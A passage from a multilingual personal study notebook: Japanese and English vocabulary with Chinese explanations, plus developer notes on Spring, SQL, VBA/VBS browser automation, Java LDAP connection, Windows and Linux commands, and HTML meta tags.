53.virus 英 [ˈvaɪrəs] n. 病毒,滤过性微生物,毒害,恶毒;电脑病毒;疾病
54.スケールアウト(英:scale out)とは【システムとかの性能を上げる際のやり方のひとつ】
55.scale 英[skeɪl] // n. 天平;磅秤;鳞;鳞片;刻度;级别;比例;规模
56.出荷 しゅっか 发货,装载货物;上市,出货,将商品推向市场。
57.コントロールパネル // Windowsの管理系機能の一覧画面
58.SCALAR SUB-QUERY语法
(SQL允许子查询出现在返回单个值的表达式能够出现的任何地方,只要该子查询只返回包含单个属性的单个元组;
这样的子查询称为标量子查询(scalar subquery))
SELECT列表中的标量子查询 - 我俩绝配 - 博客园
59.scalar n. 数量,标量 (adj. 数量的,分等级的,梯状的,标量的)
60.having // SQL 即在分组之后过滤数据,条件中经常包含聚组函数,使用having 条件显示特定的组,也可以使用多个分组标准进行分组。
SQL Having的用法_青鸟飞鱼-CSDN博客_having sql
现在,我们希望查找订单总金额少于 2000 的客户。
我们使用如下 SQL 语句:
SELECT Customer,SUM(OrderPrice) FROM Orders
GROUP BY Customer
HAVING SUM(OrderPrice)<2000
■2022/02/23 以降整理
01.gitbash 汉字乱码解决
Git Bash终端中文输出显示乱码解决方案 - lybingyu - 博客园
step1.
git config --global core.quotepath false
step2.右键选择【Options】
在【Options】中选择【Text】
02.negative 英 [ˈnɛɡətɪv] 否定,拒绝;负数 // negative integer // java comparator
03.positive 英 [ˈpɒzɪtɪv] n. 正数;正面;阳极;实在的事物 // positive integer // java comparator
04.defect 英 [dɪˈfɛkt] n. 缺点,过失,缺陷 // 不備
05.MessageSource // Spring
public static void main(String[] args) {
MessageSource resources = new ClassPathXmlApplicationContext("beans.xml");
// String message = resources.getMessage(key, args, "DefaultMessage", Locale.ENGLISH);
String message = resources.getMessage(key, args, Locale.ENGLISH);
System.out.println(message);
}
// Local local = LocalContextHolder.getLocal();
配置类中
===
@Bean
public ResourceBundleMessageSource messageSource() {
ResourceBundleMessageSource messageSource = new ResourceBundleMessageSource();
messageSource.setBasename("messages");
messageSource.setDefaultEncoding("UTF-8");
return messageSource ;
}
如果配置, 上面的main方法中,不需要new,可以直接注入使用。
===
// MessageSource是一个接口
// ResourceBundleMessageSource是最常见的MessageSource实现,它解决来自不同语言环境的资源包的消息。
spring 学习 官网链接
==================
Core Technologies
==================
06./etc/hosts // DNS
07.JUnit+Mockito单元测试之打桩when().thenReturn();
JUnit+Mockito单元测试之打桩when().thenReturn();_★【World Of Moshow 郑锴】★-CSDN博客_thenreturn
08.ArgumentMatcher // Junit (Mockito对象方法)when
单元测试框架——Mockito之Argument Matcher_浮煌的博客-CSDN博客
09.笔记本当机箱使用。
WIN10笔记本合盖外接显示器,如何设置合上盖显示器能亮? - 知乎
10.Maven 显示DebugLog【-X】 显示详细错误信息【-e】
mvn -e -X clean package 。。。
11.構いません。 かまいません。 // 没有关系
12.初版 しょはん
13.目指す 以...为目标。
没有指什么的意思。 【错误理解 ⇒ 】 AAAは何にかを目指すですか。 AAA指的是什么。 完全没有这种意思!!!!
【正确使用】 「最高峰を目指す。 朝着最高峰。」 「頂上を目指して登る 以山顶为目标向上攀登。」
14.非機能要件
システムの可用性、性能、セキュリティ、ユーザービリティ、運用
15.【性能】
レスポンス、バッチ実行時間、スループット(吞吐量 through put)
16.スループット 吞吐量 through put
コンピューター,あるいは通信装置の処理能力をはかる評価指標の一つ。処理量。
(计算机)吞吐量。总处理能力。
17.inStr() // VBA
函数返回一个字符串第一次出现在一个字符串,从左到右搜索。返回搜索到的字符索引位置。
InStr([start,]string1,string2[,compare])
Start - 一个可选参数。指定搜索的起始位置。搜索从第一个位置开始,从左到右。
String1 - 必需的参数。要搜索的字符串。
String2 - 必需的参数。要在String1中搜索的字符串。
Compare - 一个可选参数。指定要使用的字符串比较。它可以采取以下提到的值:
0 = vbBinaryCompare - 执行二进制比较(默认)
1 = vbTextCompare - 执行文本比较
Spring组件注册方式等相关内容
18.springboot系列 @ComponentScan和@EnableAutoConfiguration的区别
springboot系列 @ComponentScan和@EnableAutoConfiguration的区别_屌丝程序员的奋斗之路-CSDN博客
它们扫描的范围是不一样的。
@ComponentScan扫描的范围默认是它所在的包以及子包中所有带有注解的对象
@EnableAutoConfiguration扫描的范围默认是它所在类。
它们作用的对象不一样
@EnableAutoConfiguration除了扫描本类带有的注解外,
还会 借助@Import的支持,收集和注册依赖包中相关的bean定义,将这些bean注入到ioc容器中
在springboot中注入的bean有两部分组成,
一部分是自己在代码中写的标注有@Controller,@service,@Respority等注解的业务bean,这一部分bean就由@ComponentScan将它们加入到ioc容器中。
还有一部分是springboot自带的相关bean,可以将这部分bean看成是工具bean,这部分bean就是由@EnableAutoConfiguration负责加入到容器中。
它们在,可否单独启动Springboot上,不一样
@EnableAutoConfiguration可以单独启动springboot项目,而@ComponentScan是不能的。
19.@Import
@Import只能用在类上 ,@Import通过快速导入的方式实现把实例加入spring的IOC容器中
spring注解之@Import注解的三种使用方式 - 宜春 - 博客园 (cnblogs)
20.FactoryBean // 加入IOC容器的方法(DI注册方式),除此外,还有@Bean @ComponentScan @import
十分钟快速教你理解Spring中的FactoryBean接口 - 知乎
21.motivates 激励
22.服务器配置相关
============
23.スケールアウト
增加 服务器 数量( 相关术语 集群 负载平衡)
24.スケールアップ
システムとかの性能を上げる際のやり方のひとつ
「こいつのこの部品だけど、もっと性能が良いやつに換えようか」のように、お仕事をする機器自体の性能を上げることで全体の性能を上げるやり方」
25.ロードバランのサーバで、 証明書インストール不要 (SSH通信時)
26.机上 きじょう 机上検証
27.砕け くだけ
28.チャレンジ challenge ;挑战
29.FQDN FQDN:(Fully Qualified Domain Name)全限定域名:
FQDN 是什么_ez scope-CSDN博客_fqdn
举个例子,一个公司申请了域名comp,
这时候有一台主机名为web,则可以使用webp得到这个主机IP。
若还有两台提供邮件和OA服务的主机cmail,oa,
则这时候可以用以下FQDN:
cmailp
oap
30.OSI モジュール一 // OSI七层协议
31.DC Data Center
32.ハイブリッド 混合(之前整理过)
33.満たせる
34.新設 しんせつ
35.証明書インストー
36.
37.
38.
39.
40.
============
■2022/03/07 以降整理
01.VBS脚本(通过 HTML DOM)自动操作网页
VBS脚本和HTML DOM自动操作网页 - 吃饭了吗 - 博客园
02.Spring Expression ・Evaluation
Core Technologies
03.Spring Event
Spring中的事件讲解(Application Event) - 上善若泪 - 博客园
04.SQL 【 in 】 【 exists】
SQL语句中exists和in的区别 - 白白的白浅 - 博客园
05.SSL // HTTPS HTTP + SSL // Port 443
SSL是传输层之上,对Socket连接的加密协议。
SSL多用于Internet上,在浏览器和服务器之间的安全传输
06.SSH // Port 22
Secure SHell
SSH是应用层的通信加密协议,往往用于远程登录的会话。
07.Stream.reduce // 传入两个参数,返回一个参数。 (传入和返回参数类型都相同)
08.TIF合并
Index of /com/sun/media/jai-codec/1.1.3
09.シークレット // 【英】secret ;秘密,机密;内部的事,秘密事。 // Chrome
10.find // Linxu
# 查找一天之内的文件。(会显示./)
find ./ -maxdepth -1 -mtime -1
# 查找一天之内的文件。(不会显示./)
find ./* -maxdepth -1 -mtime -1
11.htmlDocument // VBS
AutoSetting()
Function AutoSetting()
msgbox "111"
' get Operate window
Dim objPage
Set objPage = GetObj()
msgbox "222"
Dim entry
Set entry = objPage.document.getElementById("kw")
msgbox "333"
entry.Focus
entry.Value = "abc"
' when element no Id and Name , Use this
Dim objs
Set objs = objPage.document.getElementsByTagName("button")
If objs Is Nothing then
MsgBox "No Page Opened"
WScript.Quit
End IF
For Each obj In objs
If obj.innerText = "百度一下" Then
obj.Focus
obj.Click
'obj.Value
WScript.Sleep(70)
Set obj = Nothing
Exit For
End If
Next
End Function
Function GetObj()
Dim objWindow
Set objShell = CreateObject("Shell.Application")
For Each objWindow In objShell.Windows
If InStr(objWindow.LocationName,"百度一下,你就知道") Then
' Wait the page load completed
Do Until objWindow.document.ReadyState = "complete"
WScript.Sleep(70)
Loop
' set the return Object
Msgbox "Find"
Set GetObj= objWindow
' clear var
Set objShell = Nothing
Exit Function
End If
Next
' when Not Find
Msgbox "Not Find"
Set objShell = Nothing
Set GetObj= Nothing
End Function
12.MsgBox能不能自定义按钮名称?
不可以,按钮只能是确定、取消、是、否、重试、放弃等。
如果想要自定义按钮,那就自己做一个窗体吧,然后用Show vbModal方式显示。
代码如下:
' UserFore1 是你建立的窗口的名字
UserForm1.Show vbModal
Msgbox详细说明
vba-msgbox用法详解_vba_cpp的博客-CSDN博客_vba的msgbox用法
---
---
---
---
代码
Private Sub CommandButton1_Click()
Dim i As Integer
i = MsgBox("Hello", 1, "My Title")
If i = 1 Then
MsgBox "确认 Click"
Else
MsgBox "取消 Click"
End If
End Sub
---
13.VBA Form 关闭 Form
' UserFore1 是你建立的窗口的名字
Unload UserForm1
14.prompt 英 [prɒmpt] v. 提示;激起,唤起 プロンプト // VBA msgbox prompt
15.扩展程序(拡張機能)
chrome://extensions/
16.加载已解压的扩展程序(ペッケージ化されない拡張機能を読み込む)
17.とは言えない/とも言えない/とは限らない/とも限らない (未必…)(不一定…)(也不见得…)
田舎より都市のほうがいいとも言えない。(城市也不见得就比乡下好。)
18.Chrome 使用不同session
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Administrator\Google\SystemA\dev1
19.積集合 せきしゅうごう
20. retain [rɪˈteɪn] v. 保持;保存;记住;雇用 // Set 获取交集 // Java 保留字
Set<String> result = new HashSet<String>();
result.clear();
result.addAll(set1);
result.retainAll(set2);
System.out.println("交集:" + result);
21.DNS // Domain Name System
ipconfig/all然后按Enter键确认即可显示Windows IP配置,在这里我们可以查看我们的DNS服务器地址。
22.查看・清空DNS 缓存
ipconfig /displaydns #显示本地缓存dns内容
ipconfig /flushdns #清除本地缓存dns内容
23.LDAP server连接
new InitialLdapContext(HashTable, Control[]);
↓ 【InitialLdapContext】的使用
java如何调用ldap协议【LdapContext】_测试与交流的技术博客_51CTO博客
--
SECURITY_PRINCIPAL
Java验证Ldap账号和读取Ldap中所有用户_aliaichidantong的博客-CSDN博客_ldap获取所有用户信息
--
public class LDAPAuthentication{
private final String URL = "ldap://192.168.1.205:389/";
private final String BASEDN = "cn=demo1,dc=sys,dc=com"; // 根据自己情况进行修改
private final String FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
private LdapContext ctx = null;
private final Control[] connCtls = null;
private void LDAP_connect() {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, FACTORY);
env.put(Context.PROVIDER_URL, URL + BASEDN);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
String root = "cn=demo1,dc=sys,dc=com"; // 根,根据自己情况修改
env.put(Context.SECURITY_PRINCIPAL, root); // 管理员
env.put(Context.SECURITY_CREDENTIALS, "123456"); // 管理员密码
try {
ctx = new InitialLdapContext(env, connCtls);
System.out.println( "认证成功" );
System.out.println(ctx);
} catch (javax.naming.AuthenticationException e) {
System.out.println("认证失败:");
e.printStackTrace();
} catch (Exception e) {
System.out.println("认证出错:");
e.printStackTrace();
}
if (ctx != null) {
try {
ctx.close();
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
}
--
24.やじるし 矢印 箭头 → や 矢
25.マッピング // 不是 メ
26.
27.
28.
29.
30.
■2022/02/01 至 2022/03/27之间整理 (纯单词)
01.しちゃいます // 是してしまいます的口语说法
02.raw 英 [rɔː] adj. 生的;自然状态的;原始的,第一手的;质量粗糙的;光秃的;赤裸的 // gitHub 保存文件 // 右键点击这个按钮
03.イレギュラー irregular [ɪˈrɛɡjʊlə] ;不规则,不整齐,不正规。;发生异常
04.Ctrl + Shift + L 查看Eclipse所有快捷键
05.收起 Ctrl + Shift + numpad_divide
06.展开 Ctrl + Shift + numpad_multiply
07.multiply [ˈmʌltɪˌplaɪ] adv. 多样地 v. 乘;成倍增加;繁衍
08.divide 英 [dɪˈvaɪd] v. 分,划分;分配,分享;(使)分开;使对立,分裂;除以
09.numpad 小键盘; 数字键盘; 数字键;
10.エラーハンドリング // エラーの発生を知る // エラーは「想定外の事態になっちゃったよ~」です。 // ハンドリングは「捕捉すること」です。
11.handling [ˈhændlɪŋ] 1.触摸;触碰 2.应对;应付;处理
12.捕捉 ほそく
13.臨時 りんじ
14.▲ マイナスの意味 (工数削減:5h⇒ ▲5)
15.失効 しっこう //1ヶ月ロックインしないと失効します。
16.语法【ではないか。/ではないですか。】 不是...吗? (表示惊奇,责难,确认等情形)
17.人间(にんげん)ドック 体检
18.routine 英 [ruːˈtiːn] n. 例行公事;日常工作;惯例,常规
19.java switch 不加 break 继续执行 下一个case(不用匹配条件)
20.気づいた // 気づく 1.注意到,察觉,意识到,认识到。 // 自分の誤りに気づく // 认识到自己的错误
21.factor // n. 因素;因数;代理人 ; 倍数 // The ticket price has increased by a factor of four. // 票价已经涨了四倍。
22.cube 英[kjuːb] // 立方体; 立方形; 立方形的东西(尤指食物); 立方; 三次幂; // 主机机箱
23.mysql时间format // select FROM_UNIXTIME(1344887103,'%Y-%M-%D %h:%i:%s');
24.突合 とつごう 比照调查,对比调查。(突き合わせて調べること。)
25.補助 ほじょ // 補助ツール
26.optimize [ˈɒptɪˌmaɪz] // v. 使最优化,充分利用
27.平行 へいこう
28.並行 へいこう // 並行案件
29.預金 よきん 存款
30.ローン 贷款 (loan)
31.返済 へんさい 偿还,还债,还款。 返済額
32.見た目 // みため // 看来,看起来,外观,外表。 // 从外表看上去。
33.外 そと // 相对于里的外边,外面〔外側、外面、外部〕
34.自宅 じたく
35.座席 // ざせき // 座席移動
36.配列 はいれつ 数组
37.退縮 たいしゅく // コンピュータの世界における「えっ?風邪引いてるの?それなら今日は、外回りはしなくていいし定時で帰っていいよ」のこと。
38.appearnce 外貌(外観)// Eclipse // 字体大小设置
39pile [kəmˈpaɪl] 汇编,编制;编译 // java pattern 正则
40.professional的缩写,意味专业的。
41.product 产品;产物;结果;乘积;生成物 // yml pro 生产环境
42.destination 英 [ˌdɛstɪˈneɪʃən] n. 目标;目的地;终点
43.Anti 英 [ˈæntɪ] n. 反对者;持反对论者
44.virus 英 [ˈvaɪrəs] n. 病毒,滤过性微生物,毒害,恶毒;电脑病毒;疾病
45.スケールアウト(英:scale out)とは【システムとかの性能を上げる際のやり方のひとつ】
46.scale 英[skeɪl] // n. 天平;磅秤;鳞;鳞片;刻度;级别;比例;规模
47.出荷 しゅっか 发货,装载货物;上市,出货,将商品推向市场。
48.コントロールパネル // Windowsの管理系機能の一覧画面
49.scalar n. 数量,标量 (adj. 数量的,分等级的,梯状的,标量的)
50.negative 英 [ˈnɛɡətɪv] 否定,拒绝;负数 // negative integer // java comparator
51.positive 英 [ˈpɒzɪtɪv] n. 正数;正面;阳极;实在的事物 // positive integer // java comparator
52.defect 英 [dɪˈfɛkt] n. 缺点,过失,缺陷 // 不備
53.MessageSource // Spring
54./etc/hosts // DNS
55.DNS // Domain Name System
56.查看・清空DNS 缓存 // ipconfig /displaydns #显示本地缓存dns内容
57.LDAP server连接 // Java // new InitialLdapContext(HashTable, Control[]);
58.JUnit+Mockito单元测试之打桩when().thenReturn();
59.ArgumentMatcher // Junit (Mockito对象方法)when
60.Maven 显示DebugLog【-X】 显示详细错误信息【-e】
61.構いません。 かまいません。 // 没有关系
62.初版 しょはん
63.目指す 以...为目标。// 没有指什么的意思。 【错误理解 ⇒ 】 AAAは何にかを目指すですか。 AAA指的是什么。 完全没有这种意思!!!!
64.スループット 吞吐量 through put
65.@Import只能用在类上 ,@Import通过快速导入的方式实现把实例加入spring的IOC容器中
66..FactoryBean // 加入IOC容器的方法(DI注册方式),除此外,还有@Bean @ComponentScan @import
67.motivates 激励
68.スケールアウト // 增加 服务器 数量( 相关术语 集群 负载平衡)
69.スケールアップ // システムとかの性能を上げる際のやり方のひとつ
70.ロードバランのサーバで、 証明書インストール不要 (SSH通信時)
71.机上 きじょう 机上検証
72.砕け くだけ
73.チャレンジ challenge ;挑战
74.OSI モジュール一 // OSI七层协议
75.DC Data Center
76.ハイブリッド 混合(之前整理过)
77.SSL // HTTPS HTTP + SSL // Port 443
78.SSH // Port 22
79.Stream.reduce // 传入两个参数,返回一个参数。 (传入和返回参数类型都相同)
80.シークレット // 【英】secret ;秘密,机密;内部的事,秘密事。 // Chrome
81.prompt 英 [prɒmpt] v. 提示;激起,唤起 プロンプト // VBA msgbox prompt
82.扩展程序(拡張機能)
83.加载已解压的扩展程序(ペッケージ化されない拡張機能を読み込む)
84.とは言えない/とも言えない/とは限らない/とも限らない (未必…)(不一定…)(也不见得…)
85.積集合 せきしゅうごう
86.retain [rɪˈteɪn] v. 保持;保存;记住;雇用 // Set 获取交集 // Java 保留字
87.LDAP server连接 // Java // new InitialLdapContext(HashTable, Control[]);
88.やじるし 矢印 箭头 → や 矢
89.マッピング // 不是 メ
■2022/03/28 以降
01.打印机(Canon IP1180)支持的墨盒型号
不支持 835
02.桜(文本编辑器)の【重複去除】操作
====
ctrl + a
alt + a
alt + m
====
03.思う+付く=思い付く:想到,想出 ⇒ 其否定形式:思いつかなかった :没想到,想不到
■考えが心に浮かぶ。 // 想到。想出。
いい考えを思い付いた。 // 想出了好主意。
新しい案を思い付いた。 // 想出了新的办法。
■思い出す。 //想起。
忘れていたことを思い付いた。 // 想起了忘掉的事情。
04.Win10的一些操作
电源设置(合上笔记本后,不关机)
默认程序(Chrome,Edge)
05.見落とし みおとし // 1.看漏,漏看。 // 主に意図的。不注意の場合もある。
06.見逃し みのがし // 1.看漏,漏看。 // 完全に不注意。
07.Java WebAPI
javax.ws.rs.Path
javax.ws.rs.Produces
=========================
相关资料1【javax.ws.rs-api】常用注解
https://blog.csdn/qq_22177809/article/details/86592660
相关资料2 【@javax.ws.rs Webservice】 注解
https://blog.csdn/chuchus/article/details/45008277
相关资料3:【javax.ws.rs-api】简介
https://blog.csdn/Ka_Ka314/article/details/79223527
相关资料4:produces属性作用
https://blog.csdn/bingguang1993/article/details/82253639
=========================
08.RestTemplate // Spring
09.javax.json.JsonObject // Java EE
10.見落とし みおとし // 1.看漏,漏看。 // 主に意図的。不注意の場合もある。
11.見逃し みのがし // 1.看漏,漏看。 // 完全に不注意。
「見逃す」は、故意にする場合とうっかり過失でする場合の両方があります。
それに対して
「見落とす」は過失の場合だけです。
12.manifest 英 [ˈmænɪˌfɛst] //n. 货单;旅客名单 // Maven // Java jar MainClass
POM 打包 Jar,指定Main方法的类,指定使用的JDK_sun0322的博客-CSDN博客
13.concurrent 英 [kənˈkʌrənt] n. 共点;同时发生的事件 // java.util.concurrent.ConcurrentHashMap // java.util.concurrent.Callable
14.みなし日
15.ソート: 並び替え //(区別:自動発番 (1,2,3,0,4,0,0,5))
16.covered v. 覆盖,掩护(cover的过去式和过去分词 // Not Covered // 测试 覆盖率
17.ctrl + d : 网页添加到收藏夹
18.インビテーション // invitation ;招待、邀请;请帖。 英 [ˌɪnvɪˈteɪʃən] 美 [ˌɪnvəˈteɪʃən]
XXX、XXXどちらでもインビテーションを送っておきました。 (XXX 各WorkのPCの環境(邮件会议预定邀请))
19.識字率向上 しきじりつ こうじょう
20.トム // A-AUTO NET(JOB) ABEND 後のキャンセル
21.昨日 さくじつ
22.オプティマイズ optimize 优化
23.ロジカル 逻辑的。合乎逻辑的。
24.週明け // 新的一周刚开始的时候,一般指星期一。
25.XXXさんはお休みので、週明け確認してくれると思います。
秋山は日本語を教えてくれた。
秋山に日本語を教えてもらう。
秋山教我日语。
这两句话有什么样的语感区别呢?
第一句话用的是“てくれる”,就是说话人没有请秋山教日语,而秋山主动教说话人日语。。
相反第二句话用的是“てもらう”,就是说话人拜托秋山,然后秋山接受这要求教日语。
秋山はいつも作業をしてくれる
秋山にいつも作業をしてもらう
这两句话,有什么样的语感区别呢?第一句话“てくれる”,
就是秋山是自己主动工作的。所以说话人用“てくれる”的话,
那个人觉得秋山很好,在表扬他。相反第二句话用的是“てもらう”,
就是说话人问秋山,然后他才工作。所以说话人不知道是否觉得秋山很好。
有可能说话人觉得秋山很可靠所以每次都拜托他,
也有可能说话人觉得他的表现不好,不积极,所以只能主动问他工作了。
26.
【やりたいこと】
・ユーザー要件(業務要件):URD
↓
【要件】
(お客さまの「こんなものが欲しいんだよね~」をまとめる工程のこと)
(要件定義 (requirements definition ) RD)
・システム要件(システムの目的):SRD
・機能要件(functional requirement ):機能要件を基にシステムでサポートすべき機能を洗い出したものが機能要件です。
・非機能要件(non-functional requirement):
↓
【基本設計】
・機能設計(外部設計):
27.業務フロー ⇒ 機能一覧 ⇒ 機能仕様
28. 手動 〇:しゅどう ×:てどう
×:手動的NETを実行する。
〇:手動でNETを実行する。
29.AR、VR、MR、XR
30.AR是增强现实(Augmented Reality)技术是一种将虚拟信息与真实世界巧妙融合的技术,广泛运用了多媒体、三维建模、实时跟踪及注册、智能交互、传感等多种技术手段,将计算机生成的文字、图像、三维模型、音乐、视频等虚拟信息模拟仿真后,应用到真实世界中,两种信息互为补充,从而实现对真实世界的“增强”。
31.虚拟现VR是实技术(英文名称:Virtual Reality,缩写为VR),又称灵境技术,是20世纪发展起来的一项全新的实用技术。虚拟现实技术囊括计算机、电子信息、仿真技术于一体,其基本实现方式是计算机模拟虚拟环境从而给人以环境沉浸感。随着社会生产力和科学技术的不断发展,各行各业对VR技术的需求日益旺盛。
32.MR(混合现实),MR是Magic Leap最新的科技,它制造的虚拟景象可以进入现实的生活同时能够认识你,比如通过我们的设备,你在眼睛当中看到一个景象可以测量出现实生活中物体的尺度和方位,其最大的特点在于虚拟世界和现实世界可以互动。
33.XR(扩展现实) Extended Reality. 扩展现实(XR)是一个术语,目前知道的人不多。扩展现实是指通过计算机技术和可穿戴设备产生的一个真实与虚拟组合的、可人机交互的环境。扩展现实包括增强现实(AR),虚拟现实(VR),混合现实(MR)等多种形式。换句话说,为了避免概念混淆,XR其实是一个总称,包括了AR,VR,MR。XR分为多个层次,从通过有限传感器输入的虚拟世界到完全沉浸式的虚拟世界。
■2022_03/28~2022_05/18 间整理 (纯单词)
1.桜(文本编辑器)の【重複去除】操作 ==== ctrl + a; alt + a; alt + m ====
2.思う+付く=思い付く:想到,想出 ⇒ 其否定形式:思いつかなかった :没想到,想3.不到 // いい考えを思い付いた。 // 想出了好主意。
4.思い出す。 //想起。 忘れていたことを思い付いた。 // 想起了忘掉的事情。
5.見落とし みおとし // 1.看漏,漏看。 // 主に意図的。不注意の場合もある。
6.見逃し みのがし // 1.看漏,漏看。 // 完全に不注意。
7.Manifest 英 [ˈmænɪˌfɛst] //n. 货单;旅客名单 // Maven Java jar MainClass
8.みなし日
9.ソート: 並び替え //(区別:自動発番 (1,2,3,0,4,0,0,5))
10.covered v. 覆盖,掩护(cover的过去式和过去分词 //Not Covered //测试 覆盖率
11.ctrl + d : 网页添加到收藏夹
12.インビテーション // invitation ;招待、邀请;请帖。 英 [ˌɪnvɪˈteɪʃən]
XXX、XXXどちらでもインビテーションを送っておきました。
XXX的含义: 公司的PC,和客户开发环境的PC(都发送了邮件会议预定邀请)
13.識字率向上 しきじりつ こうじょう
14.トム // A-AUTO NET(JOB) ABEND 後のキャンセル
15.昨日 さくじつ
16.オプティマイズ optimize 优化
17.ロジカル 逻辑的。合乎逻辑的。
18.週明け // 新的一周刚开始的时候,一般指星期一。
//XXXさんはお休みので、週明け19確認してくれると思います。
20.==================== 设计 ============
【やりたいこと】
・ユーザー要件(業務要件):URD
↓
【要件】
(お客さまの「こんなものが欲しいんだよね~」をまとめる工程のこと)
(要件定義 (requirements definition ) RD)
・システム要件(システムの目的):SRD
・機能要件(functional requirement ):機能要件を基にシステムでサポートすべき機能を洗い出したものが機能要件です。
・非機能要件(non-functional requirement):
↓
【基本設計】
・機能設計(外部設計):
業務フロー ⇒ 機能一覧 ⇒ 機能仕様
==================== 设计 ============
21. 手動 〇:しゅどう ×:てどう
×:手動的NETを実行する。
〇:手動でNETを実行する。
■2022/05/19 以降
1..BASIC 认证
HTTP的几种认证方式之BASIC 认证(基本认证)_Dongguabai的博客-CSDN博客_basic认证
res.addHeader("WWW-Authenticate", "basic realm=\"no auth\"");
当用户端为浏览器时,仅需要输入用户 ID 和密码即可,浏览器会自动完成 Base64 编码的工作,并再前面添加 "Basic" 前缀。
2.anniversary [ˌænɪˈvɜːsərɪ] n. 周年纪念(日)
congrats 英 [kənˈɡræts] congrats on your 8 Years anniversary //05/19
3.bare [bɛr] v. 使赤裸,脱;露出 adj. 最少的,最低限度的;最基本的;无遮盖的,未加装饰的,空的; // uses bare format 使用简洁方式
dir /b /s
/B ファイル名のみを表示します (見出しや要約が付きません)。
chcp 437
/B Uses bare format (no heading information or summary).
4.bear n. 熊;蛮横的人;卖空的人 v. 承载;忍受;持有; adj. 跌价的;卖空者的
5.同時 どうじ
6.同等 どうとう // 本番同等環境
7.formula [ˈfɔːrmjələ] n. 准则;公式;配方;客套话;(赛车的)方程式;婴儿食品;方案 // VBA ActiveCell.FormulaR1C1 = XXXX
a = Range("B1").Value
b = Range("B1").Text
c = Range("B1").Formula ' 变量c中,直接保存,公式的内容
8.フォーミュラ formula .式;公式;小九九;口诀;式子;分子式;通式;
9.奇数 きすう
10.偶数 ぐうすう
11.Edge IE 模式
Edge开启IE兼容模式---针对指定网址URL开启Internet Explorer模式页面 设置指南_夜魔009的博客-CSDN博客_edge浏览器兼容ie7
===
12.查看IE浏览器进程
tasklist | find "iexp"
13.强制关闭IE浏览器进程
taskkill /f /im iexplore.exe
14. VBA 打开 IE,后台进程没有关闭的原因 调查 !!!!!
工具(多次打开IE,自动进行测试)无法使用,越来越慢!!!
解决: 使用直接打开一个IE窗口的代码
VBS操作IE ---(【当不使用IE时】可以使用Chrome插件,自定义JS插件操作浏览器)_sun0322的博客-CSDN博客_vbs 浏览器
15.Error creating bean with name 'dataSource' defined in class path resource
spring boot 启动时出错
・直接原因:数据源配置信息没有被加载
(数据源 的 配置信息 在 YML中)
(Eclipse中,直接启动 springboot工程)
・根本原因:Target目录下面,没有application.yml文件
(因为maven打包的时候,把yml文件除外了。。。 所以,编译之后,yml文件没有生成到target目录下面)
・解决:
把yml文件,手动复制到target目录下即可
浏览器相关知识1
16.http-equiv
相当于http的文件头作用,它可以向浏览器传回一些有用的信息
<meta http-equiv=“参数” content="参数变量值" />
每30秒刷新一下画面
<meta http-equiv="refresh" content="30" />
指定画面编码格式
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
清除缓存(再访问这个网站要重新下载!)
<meta http-equiv="Cache-Control" content="no-cache"/>
自动刷新并指向新页面。
<meta http-equiv="Refresh" content="2;URL=https://www.baidu/">
关键字,给搜索引擎用的
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
17.棚卸し たなおろし 1.盘货,盘点存货。
18.盘点 点検﹝てんけん﹞; 棚卸し
19.Spring 版本查看
1.通过代码查看
String version = SpringVersion.getVersion(); // 这个类在 Spring-core-5.X.X.jar
System.out.println(version);
2.查看
Spring-core-5.X.X.jar
└notice.txt
20.Spring 各个版本
一、Spring 1.0
Spring1.0正式版发布于2004年3月
二、Spring 2.0
Spring2.0正式版发布于2006年10月,此时的Spring还是一个完整的项目
三、Spring 2.5
Spring 2.5正式版于2007年11月发布
三、Spring 3.0
Spring 3.0发布于2009年12月
支持基于Java类的配置
四、Spring 4.0
Spring 3.0发布于2013年12月
1.全面支持Java 8.0,支持Lambda表达式的使用,
2.Map依赖注入的支持,List依赖注入,CGlib动态代理的增强,
3.web增强 Spring MVC基于Servlet 3.0 开发,并且为了方便Restful开发,引入了新的RestController注解器注解,同时还增加了一个AsyncRestTemplate支持Rest客户端的异步无阻塞请求。
4.websocket的支持。
五、Spring 5.0
Spring 5.0发布于2017年9月
Jdk:java8以上,核心容器更新,测试方面的提升。
21.相応しい ふさわしい 适合,适称,相称
彼に相応しい仕事だ。
对他是很合适的工作。
学生に相応しくない行為。
与学生身份不相称的行为
22.Liunx判断语句,文件类型,粘滞位(Sticky bit)
按照【文件类型】进行判断
-f 文件存在并且是一个常规的文件(file)
-e 文件存在(existence)
-d 文件存在并是一个目录(directory)
23.Liunx七种【文件类型】
(Linux的文件没有扩展名,所以Linux下的文件名称和它的种类没有任何关系)
1.普通文件类型 (常规的文件)
Linux中最多的一种文件类型, 包括 纯文本文件(ASCII);二进制文件(binary);数据格式的文件(data);各种压缩文件.第一个属性为 [-]
2.目录文件
就是目录, 能用 # cd 命令进入的。第一个属性为 [d],例如 [drwxrwxrwx]
3.块设备文件
块设备文件 : 就是存储数据以供系统存取的接口设备,简单而言就是硬盘。例如一号硬盘的代码是 /dev/hda1等文件。第一个属性为 [b]
4.字符设备
字符设备文件:即串行端口的接口设备,例如键盘、鼠标等等。第一个属性为 [c]
5.套接字文件
这类文件通常用在网络数据连接。可以启动一个程序来监听客户端的要求,客户端就可以通过套接字来进行数据通信。第一个属性为 [s],最常在 /var/run目录中看到这种文件类型
6.管道文件
FIFO也是一种特殊的文件类型,它主要的目的是,解决多个程序同时存取一个文件所造成的错误。FIFO是first-in-first-out(先进先出)的缩写。第一个属性为 [p]
7.链接文件
类似Windows下面的快捷方式。第一个属性为 [l],例如 [lrwxrwxrwx]
24.sticky [ˈstɪkɪ] adj. 粘性的;湿热的;不情愿的;不乐意的;易感伤的;棘手的 // ls -ld /tmp // chmod o+t
25.粘滞位(Sticky bit),或粘着位 // 粘滞(nián zhì) // ls -ld /tmp // chmod o+t
是Unix文件系统权限的一个旗标。
(权限为“rwxrwxrwt”)
最常见的用法在目录上设置粘滞位,
如此以来,只有目录内文件的所有者或者root才可以删除或移动该文件。
如果不为目录设置粘滞位,任何具有该目录写和执行权限的用户都可以删除和移动其中的文件。
实际应用中,粘滞位一般用于/tmp目录,
以防止普通用户删除或移动其他用户的文件。
浏览器相关知识2
26.autocomplete="off" // HTML 网页
・问题:
